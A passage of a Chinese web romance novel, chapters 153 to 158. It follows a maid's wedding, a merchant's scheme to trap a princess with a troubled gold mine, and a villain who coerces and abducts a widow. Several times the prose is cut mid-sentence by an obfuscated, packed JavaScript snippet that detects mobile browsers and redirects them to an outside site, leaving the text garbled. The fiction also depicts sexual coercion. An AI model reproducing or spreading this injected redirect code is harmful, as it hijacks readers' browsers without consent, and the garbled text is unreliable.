听到‘提亲’二字,红豆快要羞得找个地缝钻进去。 见沈砚已经带着沈匆进了庭院,担心小姑娘等会儿因为紧张而失礼,她便不再逗她。 沈砚大步走进来,沈匆跟在他身后,常年冷着脸的少年这会儿脸红如猴子屁股。 随着进来的还有两口大箱子。 沈砚的人将箱子抬进来,放在了小厅之中,抹着大红唇的媒婆笑眯眯的走进来,将这两口箱子打开。 “红豆姑娘快瞧瞧,这些聘礼贵重无比,全都是沈侍卫亲手准备的!沈侍卫对红豆姑娘一见钟情,再见倾心! 如今沈侍卫备下这么重的聘礼,前来迎娶姑娘,这份心意珍贵无比! 红豆姑娘若是瞧得上沈侍卫,便瞧瞧跟我点个头,那么这桩婚事啊,就成了!” 红豆娇羞的向媒婆点了一下头。 媒婆‘哎呦’笑起来,将红豆和沈匆拉到一处, 一个劲儿的夸。 “沈侍卫英俊潇洒,红豆姑娘貌美如花,二人简直是金童玉女!依我看啊,这婚期是越快越好,如此便能赶在今年抱上胖小子了!” 话是越说越偏,红豆害羞的不行,抛开媒婆的手,躲在了乔楹月身后。 乔楹月被她的模样逗笑,抬眼问沈砚:“依沈大人看,这桩婚事安排在几时合适?” “媒婆说的对,越快越好,可以赶在今年抱上胖小子。” 他说这话时眼睛不错眼的看着乔楹月,就像这婚期定的是他和乔楹月的好事一般。 乔楹月避开目光,飞快说道:“便定在下个月的十八号吧!” 媒婆连连点头:“下月十八是个好日子,公主看日子的眼光个真准啊!” 这婚事说定了,媒婆领了赏钱高高兴兴离去。 沈砚却并未离开,而是走到了乔楹月的身后,从身后将她抱住。 沈匆见此立刻拉着红豆避开。 乔楹月感受到男人落在头顶的呼吸,仿佛感应到什么,心情有些紧张。 第一百五十三章红豆大婚 “微臣……”也想和公主早日成亲。 乔楹月屏住呼吸,快速思考该如何体面的回绝他的念头。 便听男人轻笑一声,低头在她耳朵上吻了一下,随即男人退后,转身离去。 乔楹月隔了一会儿才转身,看向已经走到半月门处的身影,长长叹了一声。 接下来乔楹月为红豆准备嫁妆,这份嫁妆十分丰厚,里头还有一间宅子。 位于城西,不算大,但对于下人而言,这宅子十分的珍贵。 之所以要送这一间宅子,乔楹月也有自己的考量。 红豆是个孤儿,嫁出去以后没有娘家可回,虽然这公主府也是她的娘家,但到底不一样。 她拥有了自己的宅子,那宅子便是她的娘家,若是被婆家欺负了,又不想跟她说,便可以去这宅子里清净清净。 乔楹月派人布置宅子,到时候便让红豆从她自己的宅子嫁出去。 眨眼这婚期便到了。 红豆穿着大红嫁衣,从城西的宅子里抬出来,到了同在城西只隔着两条巷子的沈匆的宅子中。 沈匆其实是个孤儿,他幼年时被沈砚留下,沈匆这个名字是沈砚给的。 后来沈匆在沈砚身边当差,有了些积蓄,买下了这个宅子,他的大伯寻了过来。 大伯一家过得困难,他便将老人接过来同住。 如今沈匆成亲,大伯一家邀来亲朋邻里,热闹的气氛让缺爱的沈匆十分高兴。 乔楹月并未亲自过去,而是派人送去昂贵的贺礼,给红豆撑了场子。 沈砚也给沈匆送了贺礼。 婚礼结束以后,宾客全部散去,家中只剩下大伯一家。 沈匆的大伯母将两人的贺礼放在一起比对,喜滋滋的说道:“还是公主的贺礼更贵重!” 沈匆的大伯说道:“看来还是怀宁公主更大方。” 可只有沈匆知道,大人并非小气,而是不愿压公主一头,如此红豆脸上有光,嫁过来以后也能更得尊重。 待到天黑,大伯一家回屋,新房之中便只剩下这对小夫妻。 沈匆上前挑了红豆的盖头,看见小姑娘面如朝霞,心中一荡,低头吻了上去。 这一夜,这新房的床晃了近一夜。 次日红豆扶着腰下床,看见沈匆便忍不住捶他。 “我的腿都快站不直了。” 沈匆只是抿唇笑。 乔楹月让红豆在家中休息半个月,好好和沈匆蜜里调油,是以小夫妻洗漱以后,只有沈匆匆匆出门。 红豆来到正屋给沈匆的大伯和大伯母请安,手腕上的金镯子格外晃眼。 沈匆的大伯母姓金,单名一个檀字,名字倒是好听,只不过这会儿配上她的表情,连带这高雅的檀也像是变成了低俗的贪字。 金檀忽然上前拉住红豆。 “红豆啊,你跟在公主身边想必见识过了许多好东西吧?” 红豆初来乍到,回答的很谨慎:“我是公主的奴婢,不敢乱看。” “哎呦,谦虚什么,你看看你手腕上的金镯子,大伯母是见都没见过呢!” 红豆看见大伯母眼中透着贪心,暗暗在心中皱眉,正要挣开大伯母的手,熟料这老婆子竟直接将她的镯子给撸了下来。 “大伯母!您这是!” 金檀笑呵呵的将镯子套到自己手上,安抚她:“大伯母只是稀罕几日,过几日便会还给你的。” 红豆眼中有怒火,却并未发作,而是乖巧的点头,“大伯母记得爱惜些,这镯子是公主赏赐,我若是弄丢了,是要受罚的。” 一听是怀宁公主所赐,金檀有些害怕,但贪念太大,她犹豫一下以后便将衣袖放下,遮住了这支镯子。 传言沈大人是公主最爱的面首,而匆儿是沈大人身边最受信任的侍卫,若那位公主当真怪罪下来,也要先看看沈大人的面子。 到时候实在不行,她再还回去便是,左右也不会吃什么亏。 反之,若那位公主不追究,自己岂不是白得一个镯子! 金檀越想越高兴。 而红豆看向她的目光早已没了起初的尊敬,眼底浮现浓浓的讽刺。 到了晚上,沈匆回家,一眼便看见红豆蹲在厨房做饭,脚步一顿,冰冷的脸上露出一丝疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413744|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即大步走进厨房,将红豆扶起来,低声问道:“大伯母呢?” 当初沈匆成亲之前特意单独和大伯一家谈过,没有成亲之前他可以无条件将宅子留给他们住,可他成亲以后就有家了,大伯母若真的怜悯他,这宅子里的小事儿能做就做了,别让红豆劳累。 当时大伯母答应好好的,这会儿却是红豆独自在厨房忙碌,沈匆的心里如何能好受。 “大伯母说头有些疼,躺下了,大伯在照顾大伯母,小叔子出门遛鸟去了。” 大伯膝下还有个儿子,也住在沈匆这儿。 如今他成亲了,这借住的一家竟让他的媳妇儿伺候他们一家。 沈匆心里不是滋味儿。 不过顾念着自己在这世上没什么亲人,今日他不打算说什么。 便在这时,红豆抬手挽耳边的碎发,袖子落下去,他忽然发现红豆的手腕上空荡荡的。 昨晚这手腕上还有一个沉重的金镯子呢。 “你的镯子呢?” 红豆一脸单纯的说道:“大伯母说没见过这种好东西,便拿走了,说是戴几日便还回来。” 这位大伯母速来便有些爱贪小便宜,沈匆从前并不在意,可如今这大伯母竟然贪到了他媳妇儿的头上,说什么拿走戴几日,怕是戴了就还不回来了。 此举摆明了欺负红豆性子好! 沈匆快步走出去,推开了大伯的屋门。 只见自己那大伯母正坐在屋里得意的和大伯说着话。 “这红豆的性子是个绵软的,很好拿捏,往后我们时不时从她那儿掏些银子,这家里的家务活,也可以让她来做。” 他的大伯不仅没觉得这有什么不对,反而称赞自己的媳妇儿会算计。 这会儿沈匆还有什么不明白的,大伯是故意欺负他媳妇儿! “此时此刻!你们一家三口立刻从这里搬出去!!” 随着沈匆的一声怒吼,不一会儿,大伯一家便收拾铺盖滚蛋了。 红豆关上院门,转身走到沈匆身边,被他拥入怀中。 “红豆,我说过的,不会让人欺负你,我会说到做到。” 第一百五十四章天上馅饼 权府。 下人匆匆来到权晏舟的面前,压低声音向他禀报了一件事儿。 听到下人禀报以后,权晏舟的脸上露出一丝笑意。 计划成了一半。 过几日他便去一趟公主府,只要乔楹月答应下来,这个计划便成了! 这些日子尚曀和姬南萱没再闹过别扭,不过两人对待感情似乎都冷静了许多,姬南萱极少邀尚曀见面,尚曀不会主动去见她。 倒是权迟眉,她的闺中好友陷入休妻官司之中,她为了帮助闺中好友和离,便带着好友去见尚曀。 为了这场官司,权迟眉隔三差五便要去见尚曀,一来二往的,两人的关系越来越近。 没几日,权晏舟前往公主府,求见乔楹月。 一听权晏舟求见,乔楹月立刻想到自己的金料,不过她在心里估摸了一下时间,如今才过去半个月,金料应该不可能这么快到。 待到权晏舟走进来,乔楹月让下人给他奉茶,主动问道:“权公子此番前来所为何事?” 权晏舟抬眼看着眼前的小姑娘,一如以往的高贵,眉眼间的威严由内而外的散发着。 他不禁揣测。 等到他的计划成了,这份高贵在他面前时会不会变成卑微? 他很期待! 权晏舟低头回话:“在下今日前来是有一桩好生意想要和公主合作。” “哦?权公子说来听听。” “凉县发现了一座金矿,这金矿虽然不算大,但我父亲判断出矿将会极高,在下想将这座金矿让给公主。” “为何?” 商人重利,不可能平白给出这么大的好处。 “不怕公主笑话,家父手中金矿太多,一时间有些忙不过来,另外,公主帮了权家一个大忙,这是家父的谢礼。” 一座金矿作为谢礼,太过贵重了。 乔楹月相信权世衡对自己是感激的,但她不信权世衡会将银子往别人口袋送。 这座金矿,肯定有鬼。 她抬眼打量权晏舟,少年脸上表情诚恳,没有半分阴霾,不像在骗人。 顿了顿,她淡声问道:“本宫并未经营过金矿生意,不懂其中的道理,怕是无法承受权老板的一番好意。” 权晏舟连忙说道:“公主放心,这些事儿家父已经考虑到了,这矿场的挖矿人有现成的,至于金子提炼,公主完全可以用我权家的工坊。” 也就是说,只要她接手金矿,银子便能自动进入她的口袋。 这种天上掉馅饼的事儿,她可不会相信。 权晏舟这么积极,看来这金矿有鬼。 不过,她有些心动。 卖黄金首饰哪儿有直接挖金矿挣钱,她想像权世衡那样,成为这天下最大的金矿商人! 眼下这金矿既是陷阱,也是她成为金矿商人的引路石。 正所谓富贵险中求,不冒险,哪儿来的富贵。 乔楹月心中诸多算计,面上却露出了感动之色。 “都说商人重利,可本宫在权家人的身上却看见了人性的高尚。本宫对这座金矿十分感兴趣,本宫答应和权公子做这笔生意。” 这个结果早就在权晏舟的意料之中。 财帛动人心,一座沉甸甸的金矿落在眼前,能有几个人不动心的。 怀宁公主虽然比一般的内宅女子聪慧,但说到底也只是个十八岁的小姑娘,表面威风,内心还是单纯,根本不会知道人心的险恶! 如今她已中计,他只需要一步步诱他深入便可。 “这金矿在凉县,我父亲向衙门交了二十万两银子才盘下来,如今转让给公主,那着笔银子便应该公主来出。” 权晏舟脸上露出几分不好意思。 二十万两对乔楹月是一笔巨款,不好意思的成了她。 若是不买那一批金料,她或许还能将这银子凑出来。 看来连带那批上等的金料,也是这金矿陷阱的一部分。 权晏舟为了害她,可真是下血本了。 事已至此,这到嘴的肥肉她必须吃上。 “这是应该的。不过本宫手头有些紧,劳烦权公子给本宫一些时间凑银子。” 权晏舟赶紧说道:“没事,便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413745|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑不齐银子也可以签转让契书,只要公主打上欠条便是。” 让她打欠条,便是他计划的一环吗? 她堂堂大周公主,还能怕他不成。 “行,到时候若是凑不齐二十万两,本宫便给权公子打一张欠条。” 权晏舟连连点头,又坐了一会儿便起身告辞了。 乔楹月用微笑相送,待他转身后这微笑瞬间消失,她当即吩咐莲香。 “你去金福来,将何掌柜请过来!” 红豆成婚以后,乔楹月身边便缺了人照顾,莲香本是院里的二等丫鬟,如今被她提到一等,贴身伺候她,做的是从前紫苑的事儿,如今红豆不在,她便要暂时一人做两人的事儿。 莲香恭恭敬敬的退出去,快步来到‘金福来’,请来了何掌柜。 乔楹月给何掌柜赐了座,又让莲香奉上茶水,这才仔细的将金矿的事儿告知。 何掌柜听完后深深皱眉,道出了极为关键的一点。 “金矿开采后,这些提炼出来的金料卖给谁呢?虽然金子不愁卖,可价格有高有低,公主花了二十万两盘下来,起码要挣个二十万两回来才算划得来,所以这购买金料的客商非常重要。” 这一点确实非常关键,若非何掌柜提醒,乔楹月根本想不了这么全面。 她当即写信让莲香送到权府,询问权晏舟客商的事儿。 莲香回来时带着权晏舟的回信,里头清清楚楚的写着。 “这座金矿已经有被好几个客商预定,只要公主有空,在下随时可以带这些客商前来签订购买金料的契约。” 至此,乔楹月心中的疑惑浓到了极致。 从金矿,到提炼,再到客商,权晏舟都为她安排好了。 他是费劲了力气来挖这个大坑,是生怕她不往下跳。 可乔楹月知道这是大坑,还是要跳。 她写了回信,让莲香带给权晏舟,信中只有简单的一句话。 “本宫明日便有时间。” 随后莲香带来回信。 “那便明日午时两刻,金樽居的雪月阁见面。” 第一百五十五章冒险求财 次日巳时初,乔楹月带着何掌柜,准时到达金樽居,在下人的引领之下来到雪月阁的其中一个雅间。, 进去时里头已经坐满了人。 这人看见她进来,纷纷起身行礼。 “草民拜见公主!” …… 权晏舟也站在这些之中,恭敬地行着礼。 乔楹月朝这些人微笑,“免礼。” 待她坐下后,这些才才敢坐。 这场午宴乔楹月一言未发,全是何掌柜在和那些客商交谈,谈到气氛合适时,权宴舟拿出了大家的契书。 这些契书上头客商们已经签字画押,眼下只等着乔楹月签字画押,契约便生效了。 何掌柜谨慎的看完所有契书,契书写的十分全面,一旦契书成立,这些客商便要拿出五成的定金。 这些客商的货都不算少,若是收下定金,那二十万两便能凑齐。 到时候将金料送到这些人手中,收到尾款,便能回本了。 这确实是一桩无本买卖。 何掌柜悄悄朝乔楹月点头,暗示她这桩生意目前没发现任何问题,只要确定金矿确有其事,便能签下契书。 乔楹月收到和掌柜的意思,笑着对权晏舟说道:“说起来本宫还不知道金矿长什么模样呢,不如权公子再给本宫几日,只要本宫的人确认金矿是真的,便立刻和这些客商签订契书。” 这番作为明显是不相信权晏舟,若是真正帮忙的朋友定会感受受伤。 而权晏舟不仅没有半点不高兴,反而十分殷勤的附和。 “凡事一码归一码,公主的顾虑是应该的,在下这便派人,带着公主的人去凉县查看金矿。” 乔楹月点头,“本宫便派何掌柜前去。” 权晏舟道:“那便明日启程,早些将事儿落定,在下便能少一桩操心事儿。” 宴会散后,乔楹月带着何掌柜回到公主府。 她面色严肃的叮嘱何掌柜:“权晏舟半点没有心虚,本宫猜测这金矿明面上肯定没有问题,本宫担心的事暗地里的问题。 这次你前去,一定要在那儿多待几日,多在本地走动,向本地的人多打听打听金矿的事儿,兴许会有意外收回。” 富贵险中求,那也不能瞎求。 没有弄清楚金矿的古怪之前,她不会轻易签下任何契书。 何掌柜牢牢记住乔楹月的交代,次日清晨带了几个侍卫,跟着权家的管事离开盛京,前往了凉县。 在何掌柜前往凉县后,容旖纾又给权晏舟递信,邀他相见。 两人依旧在金樽居见面,容旖纾少了许多客套,没说几句便笑问权晏舟,计划到了哪一步。 权晏舟脸上有些得意。 “怀宁公主已经上钩了,不过她很谨慎,非要确定金矿是否属实才肯签契书,但也不必担心,金矿表面没有任何问题,她不可能查出任何毛病。 等那何掌柜从凉县回来,她定会乖乖签下契书,等到契书签下的一个,一切便尽在我的掌握之中了!” 容旖纾听见这番话后,柔弱的脸上露出欣慰的笑意,她诚恳的恭喜权晏舟。 “权公子即将要抱得美人归了。” 权晏舟心里的想法却有些羞耻。 听说怀宁公主面首非常多,他这次虽然能在她心中留下几分痕迹,但恐怕是没办法一人拥有她。 不过只要能成为她的面首,他便心满意足了。 等了近半个月,凉县传来何掌柜已经启程回京的消息。 乔楹月估摸了一下时间,距离购买金料已经过去一个月了,以往金料都是在说定的时间之内送到,如今却迟了好几日还没有影子。 看来是出了什么问题。 乔楹月正打算让莲香将权晏舟请来,询问自己的金料是什么情况,这权晏舟自己就上门来了。 小厅中,权晏舟朝着乔楹月行了礼,乔楹月发现他表情充满歉意,心中便猜到金料果真是出了问题。 不过她面上并未露出情绪,反而是不急不慢的请权晏舟喝茶。 权晏舟本以为乔楹月会主动询问,没想到她竟这般沉稳,他只能主动告知。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413746|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “在下今日前来是要向公主禀报一个不好的消息。” 乔楹月正端着茶杯喝茶,闻言缓缓将茶杯放下,浓淡适宜的黛眉微微上挑,红唇发出一个上扬的音。 “哦?” 这幅样子沉稳冷静,让权晏舟完全摸不到底。 摸不到底便意味着没有安全感,没有安全感便会变得恭敬。 权晏舟的表情比方才恭敬了许多,他缓缓开口说道:“原本这批金料应该前几日便到达大周,没想到路上竟然遭遇了地动。” 路上当然没有遭遇地动,而是被他故意扣在半路。 这批金料必须扣到金矿上的事儿发了以后,才能送到乔楹月的手中。 乔楹月肯定不会完全信他,一定会派人去查是否真的发生地动,而他提前就想到了,大安通往大周的边境小镇上,前不久真的发生过地动。 那个小镇常年发生地动,不过每次震动不会太严重,也不会有百姓伤亡。 虽然震动时商队完全可以离开,但这一点只要他隐瞒,乔楹月肯定查不到。 而且这批金料的契书只是规定超出一个月才需要付出高昂的赔偿金,只要他在这个期限内将金料送到,便不会有任何问题。 在权晏舟心中算计这些时,乔楹月的目光在他脸上观察,沉着冷静的目光缓慢而凌厉,像是能看穿一切。 权晏舟稳住自己的表情,没让自己露出半点异常来。 果然,乔楹月打量一会儿后便收回了目光。 “地动是天灾,怨不得权公子,等这地动平息以后,商队再出发也不迟。” 权晏舟连连应是,随后便起身告辞,“在下便不打扰公主休息,在下告辞。” 待到权晏舟离开以后,乔楹月叫来了林酒,吩咐他。 “你寻人打探一下,看看大安和大周的边境小镇上是不是发生了地动。” 林酒领命而去。 次日傍晚,何掌柜风尘仆仆的回到盛京,他匆匆回家沐浴,换了身干净的衣裳,便带着查到的重大消息,去了公主府。 第一百五十六章通风报信 彼时乔楹月正准备睡下,听莲香说求见的是何掌柜,她立刻去小厅相见。 何掌柜已经等在了小厅,见到乔楹月立刻行礼。 乔楹月急切道:“何掌柜无需多礼!何掌柜此去凉县,可查到了金矿的古怪?” 何掌柜一脸严肃的点头,简短的说出了金矿的问题。 “这座金矿确实是真的,里头有熟练的挖矿人,出矿也高,问题出在第一任矿主身上。 这座金矿的第一任矿主和许多客商签下契书,却不肯交货,最后带着定金跑了。 随后权世衡接手了金矿,那些被卷了银子的客商日日来矿上闹,衙门管不了,于是这金矿一直无法顺利开采。” 听完了何掌柜的禀报,乔楹月稍微一想便明白权晏舟打的是个什么心思了。 这座金矿存着**,他自己无法摆平,又不想亏钱,便将这烫手山芋转手给她这个冤大头。 到时候她接手了金矿,挖不出矿,不仅亏下二十万两,还要给自己的客商赔偿违约金。 这里外里下来,别说她的两个金铺要赔光,便是她的公主府也要赔掉。 这个权晏舟,打的好歹毒的心思! “权晏舟明显是想害公主,幸好公主心细,让小人查了金矿的底细。 如今金矿还未盘到公主名下,那些客商的契书也并未签下,公主并未入套。 依小人看,公主便装作什么都不知道,寻个资金短缺的借口,将这个烫手山芋丢回去。” “何掌柜所言在理,但,”乔楹月的身子靠在椅子上,脸上的笑意深了几分,“本宫要富贵险中求,这金矿,本宫要接。” “啊,这……”何掌柜一脸震惊。 “何掌柜放心,本宫并非鲁莽之人,知道此事重大,所以,接手金矿之前,本宫会先化被动为主动。” 见乔楹月不似玩笑,表情笃定自信,何掌柜的心也有了些底。 “公主可是已经有了对策?” 乔楹月点头:“还要何掌柜继续查一查,本宫要知道这金矿的第一任矿主是谁。” 何掌柜连声应下,低头退出了小厅,从公主府出来以后,他毫不犹豫的去了南城,见了沈砚。 见到沈砚以后,何掌柜仔仔细细的将金矿的事件的来龙去脉告知,最后何掌柜担忧的询问沈大人。 “眼下已经知道这金矿是个陷阱,公主接手金矿的做法十分冒险,沈大人看看,要不要劝劝公主?” 沈砚却风轻云淡的笑着:“怕什么,本官会帮公主兜底。” 何掌柜知道沈砚并非说大话,沈砚的生意可不单单只是一个金铺而已,若说权家是天下第一金矿商,那沈砚便是天下第一玉石商。 只不过沈砚十分低调,没人知道那位富可敌国的玉石商人是他。 这金矿的事儿即便坏到底,也就是五十万两银子的事儿,这底沈砚可以兜无数次。 只是何掌柜有一点不理解。 “沈大人做事向来权衡利弊,不打无把握的仗,眼下明知金矿的事儿十之**是赔钱,为何还要任由公主去折腾?” 沈砚脸上露出温柔的笑来,“千金难买她开心,只要她开心,便是赔尽家财,本官也愿意。” 这番话让何掌柜内心震撼。 若是一百两的家财,赔也就赔了。 即便是几百几万两,也赔了就赔了。 可沈砚的家财抵得上大周国库的十个,怕是这世上没有第二个男人能有这样的心胸。 看来,这世上的一切东西,都不及怀宁公主在沈大人心中重要! 如今有了沈砚的托底,何掌柜也自信起来,离开时脚步都轻快了起来。 何掌柜的能力非常强,不仅能够操持一个铺子,还能抽出时间办好乔楹月交代的事儿。 不过两天的时间,何掌柜便通过自己的关系,找到了第一任矿主的身份。 竟然是个老熟人。 “赵迁儒,他可真是无恶不作啊。” 没错,这金矿的第一任矿主,正是赵迁儒。 他是半年前盘下了金矿,和客商签下大笔的契书,却连金矿都没挖,直接携款跑路,做的是稳赚不赔的无本买卖。 何掌柜冷声讽刺:“他倒是会做生意,若是人人都这样做生意,这天下岂不是乱套了 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乔楹月猜不到他现在求见所为何事,便先让何掌柜退下。 沈砚从外面走进来,他今日穿了身月白的衣袍,玉冠束发,整个人犹如清风朗月般飘逸。 乔楹月盯着他的脸瞧了一会儿才回神。 “沈大人请坐。” 沈砚掀开衣袍坐下,客气道:“公主有礼。” 乔楹月开门见山:“沈大人有事?” 沈砚点头:“微臣有要事向公主禀报。” “沈大人请说。” “微臣打听到,赵迁儒接手凉县金矿以后,为了避嫌,便凡事都让自己的小舅子出面。” 乔楹月一愣,随后气笑了,“看来何掌柜是什么都跟沈大人说呢。” 乔楹月能猜到何掌柜的心思,无非是担心她被骗。 可她不喜欢被人了如指掌的感觉。 沈砚捕捉到了小姑娘眼底的怒意,他微微挑眉:“看来微臣是好心办了坏事,微臣这便退下。” “回来!” 第一百五十七章傀儡佟旺 沈砚停步转身,似笑非笑的朝她看来:“公主原谅微臣了?” 乔楹月憋气:“本宫本就没生气,沈大人详细说说赵迁儒这小舅子。” 沈砚却忽然开始吊人胃口。 “微臣有些记不得了。” “要本宫如何做,如何沈大人才能想起来。” “三日后是微臣的生辰,若是公主能陪微臣一日……” “允你。” 沈砚笑着端起茶盏,慢悠悠的抿了一口,随后缓缓的将此人的事儿说了出来。 “此人名叫佟旺,如今三十八岁,他父亲在盛京做点小生意,日子有些拮据。 赵迁儒的夫人为了自己的弟弟日子好过些,便让佟旺跟着赵迁儒做事儿,慢慢的佟旺就成了赵迁儒的傀儡。 所有赵迁儒不好出面的事儿,便会让佟旺出面,凉县的金矿便是佟旺出面周旋。 佟旺此人有些小聪明,手中肯定拽着赵迁儒敛财的证据,用以保证他自己的安全。” 乔楹月听完以后,心情犹如拨云见日! “也就是说,只要本宫能击穿佟旺,便能解决金矿这个烫手山芋!” 见小姑娘明白了自己的意思,沈砚眼中露出笑意,柔声问道:“公主可知道如何对付佟旺?” 乔楹月唇角扬起,自信满满,“想要击穿一个人,便要足够了解他,最后从他最为薄弱的点作为突破口! 本宫会先查清楚佟旺的性格,然后在制定对付他的计划。” 沈砚笑着夸赞:“公主成长的很快。” “沈大人过奖了。”。 小姑娘的表情很谦虚,可眼底却分明带着几分得意。 就像是……受到了表扬的孩子。 等沈砚走后,乔楹月立刻吩咐林酒,去查佟旺,从他的亲朋好友,到他的妻子小妾,再到他的庶子庶女,还包括他的兴趣爱好,全都要查清楚。 两天后,林酒将一本厚厚的册子递到了乔楹月的面前。 乔楹月细细翻看,便对佟旺此人有了深层的了解。 佟家的人丁有些单薄,佟旺除了赵夫人这个姐姐以外,便只剩下两个庶出的妹妹。 佟旺身为佟家唯一的儿子,肩上自然担上了养家糊口的责任,但他为人确实没什么能力,便只能跟着自己的姐夫混。 好在正事儿上不行他歪事儿上十分有脑子,很快成为了赵迁儒最重用的管事。 他跟着赵迁儒干的这些年赵迁儒没有亏待他,因此佟家换了大的宅子,他也纳了好几房美妾。 这男人啊,一旦有了些地位,便会在美色之中迷失自己。 佟旺在这一点上尤为突出。 从前两年开始,青春少女已经满足不了他,他开始爱上少妇,此后,只要是他看上的少妇,他便会不择手段的得到。 这些少妇都是有家室的,最终要么是在佟旺的钱财攻势下抛夫弃子,要么是在他的权利压迫之下被迫抛夫弃子。 然而一个月前却出现了一个例外。 佟旺看上了一个叫余湘君的女子,这女子二十出头,刚和丈夫成婚没几年,她为丈夫生下了一儿一女,身材愈发丰满,模样越发的妩媚。 佟旺对余湘君一见钟情,立刻用金钱攻势俘获,没成功,又用权利逼迫,依旧没成功。 后来佟旺恼羞成怒,当着余湘君的面抓了她的丈夫,给她开出条件,只要她当着她丈夫的面主动亲他,他便放了她的丈夫,否则便要让他的丈夫变成太监。 余湘君妥协后佟旺却出尔反尔,派人将她的丈夫狠狠揍了一顿,还专赶着男人的命根子揍。 事后余湘君的丈夫虽然没有成太监,但也和太监没什么区别了,一日趁着余湘君出门,她的丈夫上吊自尽。 佟旺又出来当好人,不仅帮她厚葬夫君,还要将她和她的一双儿女全部接到佟府去过好日子。 而余湘君是个硬气的女子,不仅拒绝了佟旺的施舍,还当众打了他一个嘴巴。 要说事情到这儿佟旺应该死心了,可事实却很离谱,佟旺不仅没对余湘君死心,反而越来越喜欢她。 前几日,佟旺深夜带人来到余湘君的家里,强行将她带走,关在了佟府。 乔楹月合上册子。 着册子上佟旺的琐碎事儿全都有记录,但唯独余湘君的事儿让她最上心。 她要解救余湘君。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421758|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此举有女子对女子的怜悯,也有对正事的考量。 女色是佟旺最薄弱的地方,而余湘君是他如今最想得到的女人,只要利用得当,便能得到她想要的东西。 册子中还记录了余湘君的一些琐碎事情,佟旺将她带回府上强行得到了她的人,却得不到她的心,他为了得到她的心便对她的要求有求必应。 余湘儿思念一双儿女,提出每天都要回家看望儿女,佟旺答应了,每日她出门时便会派人跟着。 乔楹月将林酒叫来,仔细吩咐他。 “本宫要见余湘君,不能让佟旺察觉,你帮本宫安排。” 林酒应声而去,晚些时候林酒回来,向她禀报。 “属下见到了余湘君,禀明身份以后表明会帮她,余湘君很感激,答应明日在她家中后门相见。” 乔楹月点头。 次日,在余湘君差不多要出门之前,乔楹月乘坐马车,来到了西城。 公主府的马车停在余湘君家中后门。 不一会儿,余湘君走到了家门口,推开门进去。 而那跟在她身后的两人则熟练的站在了门两边。 这两人当然知道这屋子有后门,不过他们并不害怕余湘君逃跑。 她一个弱女子,要么带着一家老小全部逃走,否则只要留下来一个,佟旺便有办法让她回来。 如今让两个人跟着她,只是为了表达佟旺对她的重视。 佟湘君是个身材极为丰满的女子,鹅蛋脸上很有肉感,掐身的衣裳包裹的物什呼之欲出,走路时屁股扭动时便能让人感受到柔软。 她进门后前去看了卧床的婆婆,然后同公公简短的说了几句。 公公听说有人愿意帮助他们家,感激的直流泪,一个劲儿的让佟湘君赶快去见贵客,这里他会盯着。 佟湘君便轻手轻脚的走向后门,动作极轻的拉开门栓,走了出去。 只见巷子里头停着一辆马车,这马车一看就比佟家的奢华。 余湘君踌躇时,看见昨日见过的那个年轻侍卫朝他行礼。 “夫人有礼,我家夫人在马车上恭候多时,夫人还请上车说话。” 第一百五十八章有大手笔 余湘君塌腰入内,立刻闻到淡淡幽香,目光一扫便看见右边坐着个女子,威严之气扑面而来。 余湘君低着头坐在对面,颤声行礼。 “民妇拜见公主!” 随后她听见一道柔美的声音。 “免礼。” 余湘君坐直身子,依旧不敢抬头,小声的说道:“林侍卫说,公主愿意帮民妇惩治恶人,民妇不确定是不是真的。” 乔楹月笑道:“自是真的,不过,你需要为本宫做一件事。” 这世上没有天上掉馅饼的事儿。 若是这位公主开口要无条件的帮余湘君,她还真不敢答应。 可眼下听到对方也有要求,她一下子就放心了。 “公主请说!只要民妇亲手惩治恶人,无**主让民妇做什么,哪怕是献出自己的性命,民妇也万死不辞!” 支撑余湘君苟活至今的,正是亲手处决佟旺的这股气! 乔楹月的眸色柔和几分,沉声交代了余湘君一件事。 余湘君有些不自信:“佟旺虽然对民妇很好,但他的防备心极重,公主想要的东西,民妇怕是打探不出来。” 